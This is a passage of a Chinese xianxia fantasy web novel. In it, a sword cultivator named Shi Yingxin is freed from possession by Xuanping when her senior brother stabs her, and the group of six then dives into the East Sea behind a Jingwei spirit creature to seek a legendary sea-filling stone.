桑九瞠目结舌:“皮……皮皮?” “皮皮……”邬芽也惊讶到结巴了,“皮皮怎么会……” 边上的归壹派三人也是各有反应:明易盯着面前的妖怪、握着剑,已经蓄势待发;可他的师弟妹却满脸震惊,甚至异口同声道:“这不是我梦中的%¥#@*……” 明易听了半天,可这两人接着就是各说各话、胡言乱语了;至于为何幽冥洲二人还喊了类似灵宠的名字……他就更不明白了。当然也没空想这些,这会他的注意力主要在石映心身上。 却见那妖怪并不攻击人,转着大圆眼睛似乎打量了船上的几人一眼,最后停在石映心身上,居然悠悠地凑过去,乖顺地用喙贴了下她的发丝。 石映心瞅它一眼,脸上扬起一抹笑来,对目瞪口呆的幽冥洲二人满意颔首道:“做得不错,这确实是只……死了很久的妖怪。” 死了很久?那不是皮皮了? 桑九看“皮皮”对石映心的亲近姿态,立刻决定这妖怪并不是皮皮,不然没法解释的:“为何它和皮皮长得这样相像……难道它是皮皮的同族?” 明易此时问二人:“皮皮是你们的灵宠?它的种族是什么?” 桑九转头问师姐:“师姐……?” “皮皮是……”邬芽张了张嘴,目露回忆,“皮皮是师祖送我的灵宠,我记得当时师祖说,皮皮是一种……很老的种族,但具体不知道是什么鸟。” “是蛇吧,”曾换月这时说,“它从水里出来的……应是水蛇?” 桑九:“是鸟!” 顾梦真:“我看着也像蛇。” 桑九:“皮皮是鸟!” 曾换月:“这不是皮皮啊。” 桑九:“可……” 明易:现在的重点到底是什么? “它的先祖是蛇,不过它一出生便是这般模样……”石映心仿佛也听不下去了,有些不耐地主动开口道,“龙生九子的故事知道吧?大概这个意思,你能保证自己跟娘是完全一个模样?” 她说这话的语气就像是很寻常地阐述了事实,竟叫人信服。邬芽瞥了眼妖怪身后的灰黑色翅膀,喃喃地说:“原来是这样……那么它究竟是什么族?” “它族叫……嘶,它是什么来着?”石映心面露思索,似乎是在遥远的记忆中搜寻着什么,但因为实在久远,所以很难想起来。直到那妖怪本妖凑到她耳边啾啾了两声,她才恍然大悟的模样:“哦,是这个啊。” 大伙期待地望着她和她身边的小鸟蛇。 “精卫。”石映心说,“它是精卫族。” 五人:OO? “啊?”这声是曾换月的,“精卫?哪个精卫?” “啊?”这声是邬芽的,“精、精卫吗?可古籍中分明说,精卫是‘其状如乌,文首、白喙、赤足’……” 石映心用看笨蛋的目光看向她们:“我方才不是举过例子了?用你们凡人的话来说便是龙生九子;而精卫族作为上古时期的种族,到它这种形态为止还能勉强算为蛇族;后来经过历代变更,在你们幽冥洲存活的一群就逐渐趋向鸟族。” “再说,就是同一族的鸟也各有不同。你方才说的‘其状如乌,文首、白喙、赤足’,只是那故事中的女娃化为精卫族后的模样罢了,世人又何曾见过其他精卫族?” 她说的确实有道理,听着就是这么一回事啊! 几人恍然大悟。邬芽这时又好奇问道:“除了皮皮之外,我从未见过其他精卫鸟,还以为它们已经消殄了……” “它们不会消殄。”石映心摸摸精卫鸟的尖喙,“只是并不存在于凡间罢了,唯有灵力的召唤才能让其显世。” “召唤?”曾换月看向幽冥洲二人,“你们方才召唤的不是亡魂吗?” 邬芽二人也一脸不清不楚:“是吧……?” “难道是一不小心开出隐藏款了?”曾换月扯了个笑,喃喃道,“我从来没有过这样的运气呢。” “所以这只……精卫鸟,”此时记得主线任务的人不多了,好在还有明易,“能带我们找到邬芽她们要寻的珍珠?” 石映心微微颔首:“不错。” 桑九狐疑地问:“去哪找?” 石映心理所当然道:“珍珠自然是在海里。” 第293章 说罢竟无一人附和,她扫了眼在场几人各有顾虑的神色,轻笑一声道:“如果你们不敢去,那么我一人前往便是,你们先回岸上。” 这话听入各人耳里真是各有意味。 “这怎么行?”邬芽被她的发言惊道,义气又歉疚道,“找珍珠本是我的任务,映心你们只是来帮我的,我如何能做甩手掌柜?方才我犹豫是忧心东海里又危险,怕拖累你们……所以我想……还是我一人去吧!映心你们带着桑九回去。” “不行!”她师弟紧跟着说,“师姐我要跟你一起!” 石映心这时说:“行,那我们三人去。” “不对不对,这不对吧?”顾梦真摇头摆手着显出他脑子的混乱,“石映心是我们的师妹,跟你们去是怎么回事?” “错了错了,还是错了!”曾换月一脸无语地吐槽道,“方才邬芽说得对啊,这分明是她们师姐弟二人的任务,你主动请缨一人去是什么意思啊?意图不要太明显了!” 石映心看向她轻挑眉:“我有什么意图?” “你……”曾换月方才嘴快,这时紧急刹住嘴门,心虚地瞥向大师兄。 明易:唉。 这情况是什么情况?邬芽还以为她们师兄妹因为她而闹了不快呢,连忙帮着石映心解释道:“换月你们不要多想,映心也是想帮我们……” “师姐,”桑九在边上忍不住道,“你总是把人想得太好!” 邬芽心说这么尽是添乱的:“桑九你不要胡说!” “我没……” “吵死了。”石映心冷不丁一声,没什么好语气,“我不管你们这些叽里呱啦的,总之我现在就要去,跟不跟随你们!” 大伙被她说得一静,可还未反应过来便见她转身要跳入海中。大伙几乎傻眼,曾换月惊慌地叫了一声:“你不准走!我师姐……” 明易厉声道:“石映心!” 石映心没有回头,可她踩在船边沿的身形却猛地一顿,就在这瞬间的空档,恍惚有剑出鞘的声音划破静谧的水声,白茫茫的水雾中有剑光一闪而过—— 不是帝血剑,却是寒竹剑,此时已刺入了石映心的肉身。在幽冥洲二人的傻眼、归壹派三人的瞪眼中,石映心月白色门服的背部悄悄绽放开一朵血花。 曾换月张了张嘴:“师姐……” 她似乎要上前,但被顾梦真拉住了,听他小声地说:“小心。”又往边上使了使眼色,她们大师兄正缓步上前去。 那边的幽冥洲二人已经傻眼了,现在究竟是什么情况?昔日相亲相爱的师兄妹为何一言不合就反目成仇?她们满脑子都是无法可想的震惊……难道是其中有什么不为外人知的惊天秘密? 确实如此。 石映心这会背对着众人半跪在地上,背上还插着她大师兄的寒竹剑,剑身随着她微微颤抖;那只精卫鸟似乎也奇怪发生了什么,正关怀地在她边上探头探脑、左看右看,时不时发出啾啾的声音。 明易走上前去,有些犹豫地握住了寒竹剑,蹙着眉将其一下拔出,接着又施法替师妹止血;忍耐的目光看向那熟悉的、并未转过来的侧脸时,他竟有些的胆怯,小小声地唤了一声:“……映心?” 精卫妖焦急地游动着,发出阵阵水声。 哗啦啦…… 石映心猛地睁开眼来,双眸由毫无光亮的黑石幻化为寻常的黝黑,她转过头去,看见她大师兄极为复杂的神色,这是很难照明白的,但一眼便让她有些动容:“大师兄哇啦哇啦哇啦(吐血中)……” “映心!” 明易紧忙扶住师妹为她疗伤止血,曾换月和顾梦真此时也意识到什么,扑上来胡言乱语哭哭啼啼大惊失色。 曾换月哭哭啼啼:“师姐你没事吧?你总算回来了呜呜呜呜……” 顾梦真大惊失色:“映心你要吓死我们啊!你不知道我们仨都要担心死了!” 石映心:“哇啦哇……唔。” 明易快准狠地捂住她嘴巴,流出的血溢满了他的手心:“别理他们,我先替你疗伤。” 也行,石映心眨眨眼睛。 这四人就这么血刺呼啦地其乐融融起来,看得两个外人莫名其妙的;先是怀疑对方精神分裂,再是疑虑自己神经错乱,最后师姐弟二人斟酌了一会,觉得真相并没有这么简单,还是去问个明白吧…… 是曾换月和她们解释的:“哎呀,这该怎么解释,说来也话长……你们可以简单理解为我师姐被人夺舍了;不过现在好了,真正的师姐已经回来了呜呜呜!” 夺舍?这简直骇人听闻! “怎么会这样……”邬芽万分震惊中又有些恍然大悟道,“难怪我总隐约觉得映心这几日好像有些……不对劲,但又说不上来……” “正常啦。”曾换月一边关注着师姐的动态,一边敷衍地挥挥手,“你们和我师姐才认识多久?没发现也不奇怪。” “是啊,”顾梦真苦笑一声道,“我们也不能和你们明说,怕走漏风声。对了,方才是不是吓到你们了?对不住啊。” “没有没有,这都是情有可原,只能怪我和桑九迟钝……”邬芽连连摆手道,“不过究竟是什么时候开始……” 问到这个,顾梦真挠挠头:“其实具体时间我们也……” “我知道!”没想到是桑九发言,“是在宋山之中!” 他的语气听着非常肯定,归壹派三人都愣了。明易看了看怀中脸色苍白的师妹,抬头问道:“桑九,你是如何发现的?” 桑九便将自己在宋山中的所见所闻再复述了一遍,这次他说得比上次和邬芽说时要有条理许多,但依旧很混乱,毕竟他当时的感受和所见所闻就是混乱,是真是假都分不清。 可如今一说,那些原本作证他“神志不清”的记忆却变成了石映心被夺舍的证据。 “原来你说的……两个映心是真的啊?”邬芽后知后觉自己可能误会师弟了,歉疚道,“对不起啊桑九,我当时还不相信你……” “没事的师姐,”桑九一脸苦涩,语气懊恼,“我也不相信我自己……我后来想,若是我修为再高一些,也许当时就能看得更明白、甚至帮上忙,也许就不会让石映心这么轻易地被夺舍……当时我分明就在场,却毫无作用。” 听着很自责。 邬芽心有感触:“桑九……” 归壹派三人大概知道映心被夺舍不关他的事,或者说他压根干预不了,这会听他自责的话还有些不好意思嘞,但偏偏不能直白地说明情况。 “好了好了,当时的事大家各有苦衷啦,我们谁都不怪你,你也别懊恼了。”曾换月打了个哈哈,“反正现在我师姐已经回来了就好,这是最重要的。” “嗯……”邬芽勉强地笑了一下,拍拍师弟的肩膀算是安慰,又朝曾换月她们说,“不过你们还是挺果决的,要是我的话,若非找到确凿的证据,完全不敢同明道友那般下手……” 明易微微摇头,坦诚道:“此时关乎映心的性命,我们也并非果决。要不是一早收到了映心的信,后来又经过多次观察讨论,也不能确信。” 说罢,明易朝石映心苦笑一声:“多亏你有先见之明。” 石映心这会已经有力气说话,但瞅大师兄的神情,他此时话里的意思分明是:你竟有先见之明,为何还要落入陷阱? 哎呀这,不入虎穴焉得虎子的道理……她大师兄一定明白,但肯定不赞同;于是她想了想,还是闭上嘴装虚弱好了。 邬芽眨眨眼:“信?” “是的是的,”曾换月闻言变出一个信封来,打开来给几人看,“嘿嘿,还是我师姐聪明,这就叫未雨绸缪!” 幽冥宗二人好奇地凑过去一看,就见信上写着: 【若收到此信,伤我心脉】 幽冥宗二人:……啊?就这? “咳咳,我解释一下哦!”曾换月一本正经道,“起因呢,是我师姐收到了大师兄的传信,问我们在哪,然后她琢磨了一下,回信送到大师兄手中估计没我师兄他们找来快;可师姐还是选择了传信,因为当时她已经预料到了有贼人要害她!” 石映心在边上听着:点头点头。 曾换月得了肯定,继续道:“所以这信其实是一个定时炸……额,定时提醒吧,意思是如果这封信没被她拦截而是送到了我大师兄的手中,那么就说明她出事了!” 石映心:点头点头。 “其实我们收到这份信的时候也很犹豫,主要也不能直接问师姐本人呀。”曾换月叹了口气道,“后来经过相处,才逐渐确定了师姐被夺舍一事……接着就是找时机了。” 这就是明易的事了。 “虽说是找时机……”顾梦真挠挠脸,有些犹豫道,“但不知不觉中就被她引来这里了欸……” 听他们这“哎呀不小心掉入了陷阱”的语气,桑九额角的青筋突突:“行吧,所以现在是什么情况?” 顾梦真:“这个这个嘛……” “没事……”石映心这会开口,嗓子还有些沙哑,她朝大伙笑了笑道,“问题不大。” 曾换月熟练地捧场:“我师姐都这么说了就是问题不大啦!” 见石映心这么说,邬芽先前那种对她莫名的信任感也 终于回归,立刻感到安心许多,面色轻松了,思绪也清晰了:“那就好,那就好……不过映心这么厉害,究竟是谁夺舍了你呢?接下来还会有这样的危险吗?” 石映心扒拉着大师兄撑起身子,深呼一口气道:“是谁不重要,总之我们要在她之前找到填海石。” 第294章 此话一出,大伙都茫然了:“填海石是什么?” 石映心看向邬芽:“就是你们要找的……所谓能解决旱灾的珍珠。不过珍珠只是它在凡间的形态罢了,本体其实是一颗上古神石,后被女娃用来填海,因此也称为填海石……” 等等等等!等等—— 信息量太大,谁都没有反应过来。 还好有明易在,他最会理清思绪了,首先他问:“映心,你是如何知道这些的?” “我一直醒着,”石映心看向大师兄,“她让谢必安招来妽荼仙尊,我因此得知了。” “为何你就得知了?”桑九蹙眉道,“当时我们都在场,你是怎么得知的?” “哎呀这就是我师姐的厉害本事了!”曾换月把他撇开,“师姐你继续说。” 桑九:…… 邬芽明显比她师弟更有眼力色,也更懂事情的重点:“所以……其实妽荼仙尊知道珍珠的下落?” “嗯。”石映心颔首道,“她并非故意不告知我们,而是……此行太危险了。” 太危险了?邬芽抿了下唇,微微颔首道:“事情发展到这已经太出乎我的意料,我明白妽荼仙尊的苦心。” 桑九便试探地问:“师姐,那珍珠……我们还找吗?” 邬芽看向他,面上的犹豫很明显。不等她说什么,石映心就道:“你们可以不找,但我会去。” 说罢怕二人误会什么,她紧跟着说:“并不是为了帮你们,仅是因为这填海石对我有用,所以你们不必内疚;二位若是要走,还请尽快离开,东海怕是有灾祸来临。” “大师兄,换月,还有二师兄,你们也是。”石映心神情是少有的认真和慎重,“此处很危险,我想你们和邬芽她们一起离开。” 明易张嘴:“不行……” “你胡说什么呢师姐!”曾换月跳脚道,“别说你现在的模样要我们如何放心,就是你好端端的,我们也不可能留下你一人离开啊!” “对啊映心!”顾梦真也板着脸说,“就是生死攸关的考验我们也一同经历过不少了,难道还害怕这小小的东海?师兄知道你进了化神期,厉害得很,是独当一面的剑修了,那还有左右后上下五个面呢!” 石映心:OO? 明易总算有插话的机会了,不过他只是幽幽望着师妹,稳重道:“若是你一人便能解决,加上我们只会更容易;若是你一人不能解决,得我们帮衬才有胜算;若是你明知不可为而为之,我更不可能……让你一人去做蠢事了。” 这话说得实在合理,于情于理都合理。 石映心看出三人死缠烂打的决心,心想既然不肯走,还不如一道吧,省去那些弯弯绕绕多好?于是到了嘴边的劝退便消散了,她颔首道:“嗯,那我们就一起去做蠢事吧。” 明易:……等等,这意思是? 曾换月:“好耶!” 顾梦真:“好耶!” 明易:……算了。 这边四人已经其乐融融地团结上了,另一边的幽冥洲二人方才还在纠结呢,但见她们师兄妹情深,心里都有些难言的触动。 桑九对师姐道:“师姐,我们两个加起来也没石映心一人厉害。” 邬芽看向他,眉目深皱:“这不是实力问题。” “我知道你要这么说。”桑九并不意外道,“其实我也觉得就这么走了实在不仗义,可心中又有贪生怕死的胆怯。不过……” 他朝邬芽笑了笑道:“我想师姐你会留下来,那么我便走不了的,你也不能赶我走。” “桑九,你何必留下?”邬芽看着他,沉吟片刻道,“这是师祖交代给我的任务。” “可这里是东海。”桑九微微摇头,“师祖一定料到我会来。” “那么……”邬芽苦笑一声,“为何要自投罗网呢?” 桑九答非所问:“师姐,我记得当时师祖将皮皮送给你时,是装在一个黑漆漆的鸟笼里,你说关在笼里多可怜,还是将它放出来吧;然后师祖说……” 邬芽喃喃道:“‘那么你这间小屋子就不是笼了么,幽冥宗便不是笼了么;天下之大,人人都在笼中,无处可逃’。” “嗯,”桑九轻轻点头,“所以你我都明白,看不见的笼才最可怕;若是自投罗网能窥见关住我的笼子,那么也有撞得头破血流后搏得一线生机的可能。” 原来彼此都有所察觉。 师姐弟二人相视而笑,此时的笑容中已没有多少忐忑和畏惧。 于是走上前去,朝那四人道:“我们也去。” “好啊好啊。”曾换月想得很简单,多一个人多一份力量嘛,“那大家就一起加油呗,小小东海——拿下!” 明易则是多问了一句:“二位可想好了?” 幽冥宗二人点头。 明易这会其实还想着因果牌的事,虽说是被妽荼仙尊拿走了吧……但上头的提示确实写了桑九的名字,桑九又是跟他师姐来的,只让邬芽走也不可能……不管如何,让这二人留下更保妥。 思酌间,他感到边上一空,是石映心站起来了;他只觉心一落,但见对方已经神色如常,居然恢复得差不多了,松了口气的同时又不安心。 曾换月关怀她师姐:“师姐你没事吧?要不我们歇会再下海?” “我没事。”石映心已经感到自己满血复活、充满精气神了,“现在就能走。” 曾换月瞅着也是,艳羡道:“化神期的修复能力这么强啊!” 顾梦真举手:“我咋感觉我不是呢?” 这会没人理他,明易开始交代等会下海的注意事项了。邬芽分心地摸了摸精卫妖的脑袋,后者用大圆眼睛瞅了瞅她,轻轻用尖喙贴了她的手心一下。 天黑海深,子时刚过,今夜似乎特别漫长。 六人绑上连连绳,准备好下海了,由石映心跟在精卫妖后头引路。 她朝身后的伙伴们微微颔首,得到回应的鼓励视线后轻松地笑了笑,转身一跃跳入海中,激荡起一声果断的“扑通”;精卫妖紧随其后,不过它的一举一动都毫无动静。 望着黑乎乎的海面,曾换月深呼吸着,其实有许多紧张,不知为何此情此景让她想到蹦极和跳伞一类的冒险运动……事实上她压根没玩过,只是看别人玩都心惊胆战了,哪里还敢自己上? 但……她这时发现自己更害怕看到师姐消失的身影,于是压根没有犹豫地——紧跟其后跳了下去。 扑通。 扑通。扑通。 顾梦真排在倒数第二个,瞅着几人扑通跳水的画面,忽然掰着手指头数了数,奇异一笑道:“咦,正好六个,这下不只独当一面,可当上下左右前后六面了欸!大师兄你看……” 排在最后的明易:? 叽里呱啦说什么呢,下去吧你—— 顾梦真被他一推,落水声和惨叫一同惊起;明易毫不迟疑,紧跟其后跳入黑海。 哗啦啦…… 哪里有风来?水面上安静的小舟被轻轻抚动,幽幽飘进了白茫茫的水雾之中。 * 咕噜噜…… 精卫妖的翅膀如鲛人的尾巴一般,伶俐地在水里游动着,姿态轻盈。石映心跟在它后头,眼前大片漆黑,耳边静得可怕,她的脑子被海水灌入,腾出一些强势的空白,让她不自觉慢慢回忆思考。 其实桑九说得并不准确,她不是在宋山里被“夺舍”的,她是在宋山上……效仿千百年前的旋娉劈山的招式时,不小心被她趁虚而入的。 她吸收太多的女娲神力了,这些神力是旋娉所需,完全为她所用,只需一个契机——比如模仿她的功法,就可让她顺势霸占这幅躯体;除此之外还有一个重要的前提条件:进入化神期。 化神期之后,元婴离体,简单来说便是肉身和魂魄分得很干净了,元婴甚至能抛开肉身独自修炼,人们常说的“夺舍”便是这时期的功法……当然石映心本人才入化神,还没机会学呢,只是体质已成——这便够了。 因为旋娉会啊。 石映心如今明白了为何她千方百计让自己吸收女娲神力,还助她在梦中破境入化神,可不就是等她修成元婴离体的体质后,方便她夺舍吗? 旋娉本就是天才,又隐在她心镜中许久,驾驭石映心的功法非常轻松;而吸收来的女娲神力对她来说不要太熟悉,指不定驱使这**比她石映心本人还利索呢。 石映心这几日待在“自己”的心镜之中,只能透过眼睛看世界,其它啥也干不了,确实憋屈;她也不乐意和旋娉说话,就是对方主动说什么也不搭理,被旋娉吐槽了好几句“坏脾气”。 对,她是坏脾气,可哪比得上某些坏蛋呢? 好在她足智多谋聪明机灵,未雨绸缪地给大师兄送去了信,这才能重新夺回肉身。信上说是伤心脉,她知道大师兄他们懂得其实是“伤心镜”;毕竟即使被夺舍了**,可她的心脏依旧是她的,是师父历尽千辛万苦为她寻来的。 而旋娉无心,她的元神在心镜之中,伤了心镜便会伤到她元神,因此她才想出这个冒险的办法。 当然她也没那么被动,就算大师兄他们不敢下手,等时机一到她也会强硬夺回躯体,只不过由内及外地破局非常耗费灵力,恢复起来也吃力,没有大师兄一剑轻松;再加上她也有私心,想看看旋娉到底要干什么。 俗话说得好啊:不探龙潭深水,怎取夜明珠辉? 在旋娉的“心镜”中,她自然而然地明白了 她的意图:她要找到那颗填海石,得到填海石的力量,再结合先前得到的阿央白石、帝俊等神力,如此便能完全占据她的肉身,重生人间。 第295章 而她石映心会在哪呢?大概会回到心镜中去,变回从前的镜灵。 对旋娉来说这不算什么牺牲,毕竟在她眼中从来没有“石映心”,只有天地之镜的“镜灵”;让镜灵回到天地之镜中,完全理所应当。 石映心才不乐意呢。 如今八大洲各地出现的异样,都是因女娲神力引起的动荡。天地生灵比她们这些修仙者还要灵敏,就算不会说话,也会通过各种方式表现,最常见的便是凡人口中的“天灾”。 石映心目前还不知道旋娉重生后要做什么,但瞧这些异样频发,怎么想也不是什么好事;何况以她对旋娉的了解,这家伙可从来不走名门正派的光明大道,那不然也不会对她可爱的小镜灵隐瞒目的、连哄带骗。 定是什么影响重大的事,八成、不对,九成九不是好事。 不说旋娉了,说说石映心本人,她并非有博施济众的善心,对天下的关怀比她大师兄都少了许多。她这会隐约意识到自己接下来的一举一动会影响众生、改变天下局势,然而依旧有些茫然的不切实际感。 一开始是想:天降大任,怎么落到她头上了? 很快便自问自答:啊,因为我是天地之镜。 以目前的情况看,旋娉只能借她的躯体复生,因为除天地之镜外,世上难寻一件能承担女娲神力的宝器,更别说是天地之镜修成的这副实力强大的、可供她直接重生的化神期躯体。 搞明白这点,石映心后又想:那么这大任注定落在我头上了,难道我将要成为换月话本中那些伟大的救世英雄? 这下该琢磨如何救世了。 首先,她不得不承认自己不是旋娉的对手,哪怕加上她大师兄二师兄小师妹,还有幽冥洲二位都不是……旋娉是千百年前便接近成神的人,放现在看便是渡劫期的顶级大能,实力比她的掌门师公更胜。 当然这会她肯定没之前那么厉害,不然也不会屈尊在石映心的心镜之中……啊,所以才要处处吸收女娲神力增强实力啊,难怪难怪。 这会后知后觉原来自己已经掉入陷阱这么久了,石映心也没多少懊恼,很快接受良好。 算了算了,事已至此,放过自己。 以上的分析让她有了大概的想法,现在主要有两个解决方案:一是销毁填海石,让旋娉不能再得到女娲神力变得更强大,在此之后想想办法将她从心境中扔出去,以绝后患;二是……和旋娉同归于尽。 后者实在悲惨,不到万不得已她才不干呢。 可若是让她重回到心镜之中、成为单纯的器灵……这才叫生不如死;在此之外还要考虑到旋娉借她躯体重生后会不会干啥坏事,总之不能让这家伙伤害到换月和师兄她们……那么为了重要之人去死,似乎也好接受的。 嗯,大概就是这样。 石映心这几日在心镜之中,默默观察着旋娉的起心动念以及一言一语,就琢磨这些事呢;琢磨明白之后感到舒畅许多,就等着出来后执行方案了。 终于是重见天日了。 这会跟着精卫妖在东海里漫漫游着,趁此空档她和大伙传密音,简单地解答了她们的疑惑,交代了“旋娉”是谁,夺舍又是怎么回事。 不过解答得比较言简意赅,又因为还有幽冥洲二人听着,所以一些部分更加模糊,但主要是为了让大伙在接下来的行动中不至于一头雾水: “如此如此……这般这般……” 听完这些后她的师兄师妹:“等等,已经不是如此这般的简单情况了吧!你居然瞒了我们这么久吗?还是不是亲师兄妹了!” 石映心略感心虚道:“先前是……我想说了也是徒增你们的烦恼,反正一时半会也无可奈何。何况她就在我的心镜之中,若是告知了师父她们,怕是要限制我的行动,那么更被动了。” 明易有很多唠叨想说,但又知晓这会说这些没意义,生生将满肚子的话压回去,只挤出一句:“事后和你算账。” 石映心:“……哦。” “所以师姐你的意思是……”曾换月恍然道,“我们三人莫名其妙陷入昏迷都是拜这个旋娉所赐?” “嗯。” 顾梦真惊讶道:“那我们修为大涨、进阶破境也是她一手促成?” “嗯……”石映心想了想,“八九不离十,反正我是。” “这咋整啊,”曾换月一下懵了,“那我在梦境中学来的玩意还能用吗?” 顾梦真也道:“对啊对啊,若是用了,岂不是都在她的计划之中?” 明易这时问二人:“你们都学了什么?” “额,”曾换月在水中挠了挠脸,“记了一个奇怪的阵法,但我不敢用。” “额,”顾梦真在水中拍了拍储物袋,“炼了一个奇怪的宝器,我还不知道有啥用呢。” 明易:…… 石映心便问:“大师兄你呢?” 明易抿了下唇,答非所问地分析道:“我想旋娉只能为我们带来机缘,比如用帝女石窟中的神力促使我们灵力增长到破境边缘;可梦中的情景她应不知晓,毕竟这是我们个人的起心动念,不可能受她控制。” 石映心听明白了:“旋娉起到一个促成的作用。” 明易微微颔首:“嗯,据我的梦境推测。” “那她为啥要帮我们破境呢?”顾梦真问。 “储备粮。”这是一直默默旁听着的邬芽说的。 虽然四人没避着她和桑九谈话,但其中有很多部分她们也确实听不明白,好在二人聪明,也掌握了大概的情况。 邬芽的声音难得这么沉重:“如果照映心所说,旋娉需要汲取神力壮大自己用来重生,那么她既然厉害到能汲取填海石 的神力,定也能汲取普通修仙者的灵力。” 这时她师弟冷飕飕地接了一句:“看来不止是你们,我和我师姐也被她算计上了,要不然她为何引我们来此处?” 顾梦真醍醐灌顶:“哦~~原来我们被当做储备粮了啊。” 曾换月恍然大悟:“这就叫养肥了再杀是吧?” 幽冥宗二人:……是是是。 “邬芽,你和桑九并非只是储备粮,”石映心这时候说,“旋娉需要靠你们的法术召唤来精卫族,而只有精卫族的引领才能带她找到填海石。” 桑九一愣,忽然想到什么:“对了,你们一开始就是来找我的,说是因果牌上写了我的名字……可为何是我呢?” 石映心想了想:“可能和皮皮有关?” 桑九道:“皮皮是许久前师祖送给师姐的灵宠。” “几年前……”明易略一思索,“当时可有什么特别的事件发生?” 师姐弟二人面上都露出回忆的神色,还是邬芽想起来了:“旱灾……对,当时也幽冥洲也发生了旱灾!但是并没有延续多久,约莫半个月就消停了。” 大伙沉默了一下,隐约意识到其中的关联,但怎么也想不明白。 “不想了不想了!”曾换月烦躁地甩甩脑袋,听到水声在她脑子里晃荡,显得她多脑袋空空似的,“这些东西太复杂了,反正我们现在就是要找到填海石然后毁了它嘛,就这么简单!” 石映心颔首:“嗯,就这么简单。” 顾梦真也道:“反正兵来将挡水来土掩嘛!” 邬芽平时自认乐观,但在这关头发现自己确实没这几位道友乐观,忍不住苦笑一声道:“可东海之水浩浩汤汤,世上真有可以淹没它的厚土吗?” “有。”这是石映心的回答。 见大伙纷纷在黑水中投来明亮的目光,她回以笑容道:“我们现在要去寻的填海石便有这样的本事。” 大家都没反应过来啊,还是最懂师妹的明易问:“映心,你先前说填海石是被炎帝女娃用来填海的上古神石,因此才落入东海之中,那么为何它有填海的本事,当时却没发挥效用?” 石映心看向明易,心想不愧是她大师兄,不用“照”也能读懂师弟师妹的心思;就像现在,她只是侧过脑袋,抬眼向某个地方看了看,她大师兄便懂得了,略有些诧异但似不太意外地说出了答案: “度朔山……” “嗯。”石映心道,“正是度朔山封印了填海石的力量。” 曾换月听到这实在有很多疑惑:“师姐,这填海石真的是……传说中精卫填海的石头吗?” 石映心想了想道:“如果你问的是民间故事,那么故事中被精卫用来填海的石头只是普通的石头。” 曾换月懵了一下:“啊?” 这时熟知精卫填海故事的邬芽发言:“映心,你的意思是,炎帝女娃葬身东海的事是真实发生过的,但她死后的事却是人们在已知结局上进行的臆造?证据就是故事中没有了填海石的存在。” 曾换月便懂了,撇嘴道:“总之就是后人根据自己的需要乱编的嘛……” “目前我所知的情况是如此。”石映心颔首道,“究竟当时发生了什么……也许只有找到了填海石,以及明白了度朔山的成因后才会知晓。” “你这么一说……”顾梦真摸摸下巴道,“这度朔山的存在很值得深究啊。想想是有些奇怪,民间已设有多处进出地府的鬼门关,还有直通幽都的大门在幽冥洲……可这个隔绝于世的度朔山神神秘秘的,过来一趟还要费劲功夫,确实很奇怪哦。” 定是有什么不可告人的秘密。大伙都这么想。 而真相就藏在她们置身的这片漆黑的海里。 那么就继续往前游吧。 咕噜噜…… 第296章 咕噜噜…… 咕噜噜…… 在激烈的商讨中,几人都不记得她们已在海水中游了多久。这会消停些了,也只是追溯着精卫妖飘逸的翅膀和蛇尾放空地游着,时不时陷入一种无知无觉的专注中,仿佛她们早已脱离世间,成为一尾无忧无虑的小鱼…… 等等,这不对吧? 石映心猛地回过神来,一把抱住了精卫妖的尾巴将它拉来身边,盯着它圆溜溜的迷瞪大眼睛一看,果真是中了“邪”了。于是不慌不忙地使了手诀往它额间一点,就见精卫妖晃了晃脑袋,眼中很快恢复了黑亮亮的清澈,还歪过脑袋朝她疑惑地“啾”了一声。 石映心回头一看,在精卫妖停下之后,失去目光“锚点”的伙伴们也渐渐恢复了神智,面上尽是茫然。 邬芽按了按脑袋,疑惑道:“奇怪,究竟是什么时候……” 明易抿了下唇:“这附近都是度朔山的地界,既然海上有迷雾和感知修仙者的阵法,水里也暗藏玄机才算正常……原以为只要跟着精卫妖走就没事了,看来我们要时刻保持警惕。” 大伙都有些后怕,连连点头表示谨记于心。 “真是防不胜防……”桑九嘟囔了一句,余光瞧见石映心似乎正在和精卫妖交流着什么?那尖喙开开合合啾啾,她便随之微微颔首,仿佛真的听懂了似的。 搞什么,这不是他从小就想要有的和灵宠交流的技能吗…… 在他的默默注视下,石映心转过头来,和大伙传密音道:“我们方才一直在鬼打墙,前方有结界,精卫妖能引路但它只是魂体,打破不了结界。” 顾梦真左顾右盼:“哪儿有结界?这一片漆黑的……” “我来试试!”曾换月举手。 就见她拿出几张符箓来往前边一甩,那几张符箓在黑水中发起金光来,先是绕着几人游了一圈,接着却像是迷失了方向似的,胡乱地在精卫妖附近飘来飘去,小妖怪还以为这是在和它玩呢,甩着尾巴有些高兴。 “哎呀……”符修挠挠头,语气有些些些窘迫,“难道又失灵了?” 邬芽正想安慰她,却见那符箓忽地一震,尽数往精卫妖的身上贴去,一张贴它脑袋,一张贴它翅膀、尾巴、尖喙……将它整个身子贴得仿若在发金光一般。精卫妖刚开始还有些好奇,但很快意识到了什么,歪着脑袋朝石映心眨了眨圆眼睛,转身往前游去。 几人此时都懂了它的意思,紧跟其后。这会没游多远,就见它忽然慢下速度,伸出脑袋往前边一点—— 哗啦啦啦! 它身上的符箓尽数动荡,脱离精卫妖的身上往前扑腾,却像遇到了什么阻力一般,纷纷贴了上去,就这么贴出了一面透明的“墙”,这便是结界了。 “可以啊换月,”顾梦真朝师妹比了个大拇指,“不愧是元婴后期的符修了,有几把刷子嘛!” 曾换月偷偷松了口气,得意地抬了抬下巴:“那是!” 这时候她师姐和大师兄已经开始“摸”结界了。明易贴着那面透明的结界墙感受了一会,和他师妹对视一眼,默契地摇了摇头。 邬芽在边上看着,哪里看得懂他俩啥意思呢,疑惑地问:“怎么了?破不了吗?” “能破,”明易语气微沉,“只是结界一破,怕是东海有的闹腾了。” 曾换月还问呢:“怎么个闹腾法?” 石映心想了想:“嗯……这结界中蕴含的能量若是化作海浪的话……和我们之前去合欢宗时遇见的鲛人巨浪相比也不遑多让。” “啊?”曾换月的脑海里就出现了当时的可怖画面,“那咋整?” “鲛人巨浪是什么?”在边上的桑九问,“我怎么没听过合欢宗有过此难?” 顾梦真拍拍他肩膀:“那是因为被及时拦截了,所以没传出去。” 桑九便道:“既然能拦截,又担心什么?” “担心什么……”顾梦真一言难尽道,“当时合欢宗可是倾尽全宗上下所有人的力量,再加上我们师兄妹四人的帮忙也差点拦不住;最后还是用了一个稀有的宝器再加上我师妹……唉,总之是绝处逢生地拦下来了。” 